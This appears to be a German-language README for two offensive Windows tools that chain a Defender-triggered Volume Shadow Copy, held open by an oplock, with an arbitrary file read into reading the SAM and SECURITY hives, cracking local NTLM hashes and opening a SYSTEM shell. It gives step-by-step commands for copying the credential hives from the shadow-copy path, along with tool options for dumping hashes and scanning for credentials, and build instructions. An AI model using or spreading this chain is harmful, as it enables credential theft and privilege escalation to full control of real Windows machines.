
test
Zwei kleine Tools, die einen Arbitrary File Read-Bug unter Windows in eine SYSTEM-Shell verwandeln.
vss_freeze/ — erstellt als Standardbenutzer einen Volume Shadow Copy und hält ihn offen, sodass Sie Zeit haben, die SAM-/SECURITY-/SYSTEM-Hives daraus auszulesenfr2system/ — nimmt die kopierten Hives, entschlüsselt die lokalen NTLM-Hashes offline und öffnet eine SYSTEM-ShellZusammen mit jeder Arb-File-Read-Primitive, die als SYSTEM (oder alles, was aus \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\... lesen kann) läuft, ergibt dies eine vollständige Std-User→SYSTEM-Kette auf einem Standard-Win10/Win11-Rechner.
Dies wurde aus BlueHammer extrahiert – der Win-Defender-Missbrauchsforschung, bei der wir herausfanden, dass das Ablegen einer EICAR-Datei unter einem überwachten Pfad dazu führt, dass Defender im Rahmen seines Bereinigungsablaufs einen Volume Shadow Copy erstellt. Wir hielten einen RstrtMgr.dll-Batch-Oplock auf Defenders Ladepfad, sodass Defender zu Beginn der Bereinigung pausiert bleibt, was wiederum die VSS so lange am Leben erhält, wie wir sie brauchen.
Ursprünglich gab es darauf noch einen Stage-2-cldflt-Freeze, aber cldflt lehnt Nicht-OneDrive-Sync-Anbieter unter Win11 24H2 ab (CfRegisterSyncRoot gibt 0x80070057 zurück). Es stellte sich heraus, dass es ausreicht, den Stage-1-Oplock offen zu lassen – Defender bleibt pausiert, VSS bleibt aktiv, keine Cloud Files API nötig.
[ vss_simple_freeze.exe ] → [ Ihr Arb-Read-PoC ] → [ fr2system.exe ]
erstellt VSS als Std-User liest SAM/SECURITY knackt NTLM, öffnet SYSTEM
hält sie via Oplock aus dem VSS-Pfad Shell
vss_simple_freeze.exe --hold 120 als normaler Benutzer aus. Es gibt den VSS-Pfad aus, z.B. \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM und C:\Windows\Temp\fileread\SECURITY.fr2system.exe aus. SYSTEM-Shell.Wenn Sie lediglich überprüfen möchten, ob die Kette auf Ihrem Rechner durchgängig funktioniert, simulieren Sie den Arb-Read-Schritt mit einer Admin-cmd:
:: Fenster 1 - Standardbenutzer
vss_simple_freeze.exe --hold 300
:: Fenster 2 - Admin-cmd (simuliert die Arb-Read-Primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Fenster 3 - wieder Standardbenutzer
fr2system.exe
(Ersetzen Sie 7 durch die Nummer, die vss_simple_freeze ausgegeben hat.)
vss_simple_freeze.exe [Optionen]
--hold N Automatische Freigabe nach N Sekunden (Standard: warten auf Enter)
--auto Nicht-interaktiv, bis zu 600s halten
--publish FILE VSS-Pfad in FILE schreiben (Standard: %TEMP%\vss_current.txt)
--no-publish VSS-Pfad nirgendwo schreiben
--event NAME Freigabe, wenn das benannte Ereignis Local\NAME signalisiert wird
--quiet Lebendigkeitsausgabe pro Sekunde unterdrücken
--help Hilfe anzeigen
Beispiele:
vss_simple_freeze.exe # interaktiv, Enter zum Freigeben
vss_simple_freeze.exe --hold 120 # automatische Freigabe nach 2 Min
vss_simple_freeze.exe --event lpe_done --hold 300 # Freigabe bei Signal oder nach 5 Min
fr2system.exe [Optionen]
(keine) Standard – SAM/SECURITY aus C:\Windows\Temp\fileread lesen, zu SYSTEM eskalieren
--dump Nur NTLM-Hashes ausgeben, nicht eskalieren
--scan Nach alternativen Anmeldeinformationsquellen suchen
--path DIR Ein anderes Eingabeverzeichnis verwenden
--help Hilfe anzeigen
Beispiele:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe erwartet mindestens SAM im Eingabeverzeichnis. SECURITY ist optional (wird für LSA-Geheimnisse / DPAPI-Schlüssel verwendet).
Beide Projekte verwenden MSVC (statische CRT, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
VSS-Erstellung:

fr2system → SYSTEM-Shell:
